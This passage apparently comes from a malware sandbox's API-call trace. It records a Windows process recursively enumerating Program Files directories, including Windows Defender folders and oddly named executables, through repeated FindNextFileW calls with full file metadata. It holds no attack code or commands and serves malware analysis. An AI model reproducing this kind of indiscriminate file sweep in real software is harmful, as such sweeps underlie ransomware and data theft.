ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0077.473] FindClose (in: hFindFile=0x4260180 | out: hFindFile=0x4260180) returned 1 [0077.474] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0077.474] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Detector_131491847713900000.xml", cAlternateFileName="DETECT~1.XML")) returned 1 [0077.474] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0077.476] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91be532c-f9f1-406a-9858-43697c6f437a}", cAlternateFileName="{91BE5~1")) returned 0 [0077.476] FindClose (in: hFindFile=0x4260440 | out: hFindFile=0x4260440) returned 1 [0077.476] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0077.476] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Campaigns", cAlternateFileName="CAMPAI~1")) returned 0 [0077.476] FindClose (in: hFindFile=0x4260740 | out: hFindFile=0x4260740) returned 1 [0077.476] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0077.476] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc2db4c0, ftCreationTime.dwHighDateTime=0x1d4f5d5, ftLastAccessTime.dwLowDateTime=0x26ce47c0, ftLastAccessTime.dwHighDateTime=0x1d4caa3, ftLastWriteTime.dwLowDateTime=0x26ce47c0, ftLastWriteTime.dwHighDateTime=0x1d4caa3, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="deemed.exe", cAlternateFileName="")) returned 1 [0077.477] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0077.478] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106b6e00, ftCreationTime.dwHighDateTime=0x1d2c1d0, ftLastAccessTime.dwLowDateTime=0x4c5561e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x106b6e00, ftLastWriteTime.dwHighDateTime=0x1d2c1d0, nFileSizeHigh=0x0, nFileSizeLow=0xc86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task.xml", cAlternateFileName="")) returned 1 [0077.478] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0077.479] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8f11cc1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x711dc3b4, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0077.483] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0077.483] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1 [0077.485] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0077.485] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x851a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProtectionManagement.dll", cAlternateFileName="")) returned 1 [0077.486] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0077.486] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xece6534e, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xece6534e, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1 [0077.486] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0077.486] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x383524c0, ftCreationTime.dwHighDateTime=0x1d4f48d, ftLastAccessTime.dwLowDateTime=0xeb1bd0c0, ftLastAccessTime.dwHighDateTime=0x1d4ac8a, ftLastWriteTime.dwLowDateTime=0xeb1bd0c0, ftLastWriteTime.dwHighDateTime=0x1d4ac8a, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="meanwhile-legends.exe", cAlternateFileName="MEANWH~1.EXE")) returned 1 [0077.487] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0077.487] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa90b6918, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1 [0077.489] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0077.489] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d342cc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d342cc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0077.489] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0077.489] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9123675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0077.492] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0077.492] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1 [0077.492] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0077.492] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1 [0077.718] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0077.718] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc4f45c00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0077.721] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0077.722] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88286500, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x1c0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1 [0077.722] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0077.722] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1 [0077.722] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0077.722] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f0da9a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb49bb00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0077.723] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0077.725] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c7efb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1 [0077.725] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0077.725] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c8710, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1 [0077.727] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.727] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47cb7852, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbe78b154, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x47cb7852, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x448600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0077.727] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0077.727] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 1 [0077.729] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.729] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b88afa, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x68b88afa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x68b88afa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0077.730] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0077.730] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0 [0077.730] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0077.730] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0077.734] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xedd25bc1, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xedd25bc1, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1 [0077.735] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0077.735] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550fd74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9550fd74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9550fd74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19940, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0077.736] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0077.736] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xece3f11a, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xece3f11a, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0077.736] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0077.736] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92acc65, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Security", cAlternateFileName="WIDB62~1")) returned 1 [0077.738] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0077.738] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="manifest.json", cAlternateFileName="")) returned 1 [0077.739] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0077.739] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore", cAlternateFileName="BROWSE~1")) returned 0 [0077.739] FindClose (in: hFindFile=0x4260240 | out: hFindFile=0x4260240) returned 1 [0077.739] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0077.741] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aed1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0077.742] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0077.742] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 1 [0077.742] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0077.742] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 0 [0077.742] FindClose (in: hFindFile=0x4260080 | out: hFindFile=0x4260080) returned 1 [0077.742] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0077.742] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsApps", cAlternateFileName="WI7DB9~1")) returned 1 [0078.118] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0078.118] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2294c1cd, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2294c1cd, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x293a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="APPXSI~1.P7X")) returned 1 [0078.379] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0078.379] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a0ae1c, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x22a0ae1c, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2fd0dc5a, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0x0, dwReserved1=0x0, cFileName="list.scale-100.png", cAlternateFileName="LISTSC~1.PNG")) returned 1 [0078.381] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0078.381] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, 